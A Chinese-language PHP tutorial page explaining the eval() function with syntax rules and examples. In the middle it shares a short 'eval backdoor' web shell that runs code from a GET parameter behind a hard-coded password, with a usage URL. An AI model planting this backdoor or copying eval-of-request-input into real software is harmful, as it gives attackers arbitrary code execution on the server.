PHP eval函数使用介绍


Posted in PHP onDecember 08, 2013

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。

代码:

$a=100;
eval("echo$a;");

因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:

$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

PHP eval() 函数介绍

定义和用法

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

语法
eval(phpcode)

参数 描述
phpcode 必需。规定要计算的 PHP 代码。

提示和注释
注释:返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。
例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>

输出:
This is a $string $time morning!
This is a beautiful winter morning!

PHP 相关文章推荐
建立文件交换功能的脚本(二)
Oct 09 PHP
回答PHPCHINA上的几个问题:URL映射
Feb 14 PHP
初级的用php写的采集程序
Mar 16 PHP
php中获取主机名、协议及IP地址的方法
Nov 18 PHP
PHP扩展模块memcached长连接使用方法分析
Dec 24 PHP
thinkPHP中volist标签用法示例
Dec 06 PHP
深入讲解PHP的对象注入(Object Injection)
Mar 01 PHP
Laravel学习教程之路由模块
Aug 18 PHP
使用 laravel sms 构建短信验证码发送校验功能
Nov 06 PHP
PHP微信企业号开发之回调模式开启与用法示例
Nov 25 PHP
Swoole4.4协程抢占式调度器详解
May 23 PHP
PHP实现页面静态化深入讲解
Mar 04 PHP
Server.HTMLEncode让代码在页面里显示为源代码
Dec 08 #PHP
php自定义的格式化时间示例代码
Dec 05 #PHP
php调整gif动画图片尺寸示例代码分享
Dec 05 #PHP
PHP数据库链接类(PDO+Access)实例分享
Dec 05 #PHP
php函数指定默认值方法的小例子
Dec 04 #PHP
PHP函数microtime()用法与说明
Dec 04 #PHP
php实现memcache缓存示例讲解
Dec 04 #PHP
You might like
如何在PHP程序中防止盗链
2008/04/09 PHP
Php Cookie的一个使用注意点
2008/11/08 PHP
用PHP读取和编写XML DOM的实现代码
2011/02/03 PHP
解决php接收shell返回的结果中文乱码问题
2014/01/23 PHP
PHP实现过滤掉非汉字字符只保留中文字符
2015/06/04 PHP
php微信高级接口调用方法(自定义菜单接口、客服接口、二维码)
2016/11/28 PHP
PHP封装的多文件上传类实例与用法详解
2017/02/07 PHP
php脚本守护进程原理与实现方法详解
2017/07/20 PHP
YII2框架中查询生成器Query()的使用方法示例
2020/03/18 PHP
静态页面下用javascript操作ACCESS数据库(读增改删)的代码
2007/05/14 Javascript
点击页面其它地方隐藏该div的两种思路
2013/11/18 Javascript
Jquery创建一个层当鼠标移动到层上面不消失效果
2013/12/12 Javascript
上传图片预览JS脚本 Input file图片预览的实现示例
2014/10/23 Javascript
JS和css实现检测移动设备方向的变化并判断横竖屏幕
2015/05/25 Javascript
js表单元素checked、radio被选中的几种方法(详解)
2016/08/22 Javascript
JS文件上传神器bootstrap fileinput详解
2021/01/28 Javascript
详解node.js搭建代理服务器请求数据
2017/04/08 Javascript
判断颜色是否合法的正则表达式(详解)
2017/05/03 Javascript
nodeJS实现简单网页爬虫功能的实例(分享)
2017/06/08 NodeJs
angular或者js怎么确定选中ul中的哪几个li
2017/08/16 Javascript
javascript面向对象三大特征之继承实例详解
2019/07/24 Javascript
layui动态加载多表头的实例
2019/09/05 Javascript
关于vue利用postcss-pxtorem进行移动端适配的问题
2019/11/20 Javascript
jQuery操作元素的内容和样式完整实例分析
2020/01/10 jQuery
vue 使用localstorage实现面包屑的操作
2020/11/16 Javascript
[06:10]6.81新信使新套装!给你一个炫酷的DOTA2
2014/05/06 DOTA
利用打码兔和超人打码自封装的打码类分享
2014/03/16 Python
Python对数据库操作
2016/03/28 Python
python中numpy.zeros(np.zeros)的使用方法
2017/11/07 Python
Python3从零开始搭建一个语音对话机器人的实现
2019/08/23 Python
新年福利来一波之Python轻松集齐五福(demo)
2020/01/20 Python
adidas澳大利亚官方网站:adidas Australia
2018/04/15 全球购物
小学教师事迹材料
2014/01/13 职场文书
给老婆的婚前保证书
2014/02/01 职场文书
销售主管岗位职责范本
2014/02/14 职场文书
如何在CocosCreator里画个炫酷的雷达图
2021/04/16 Javascript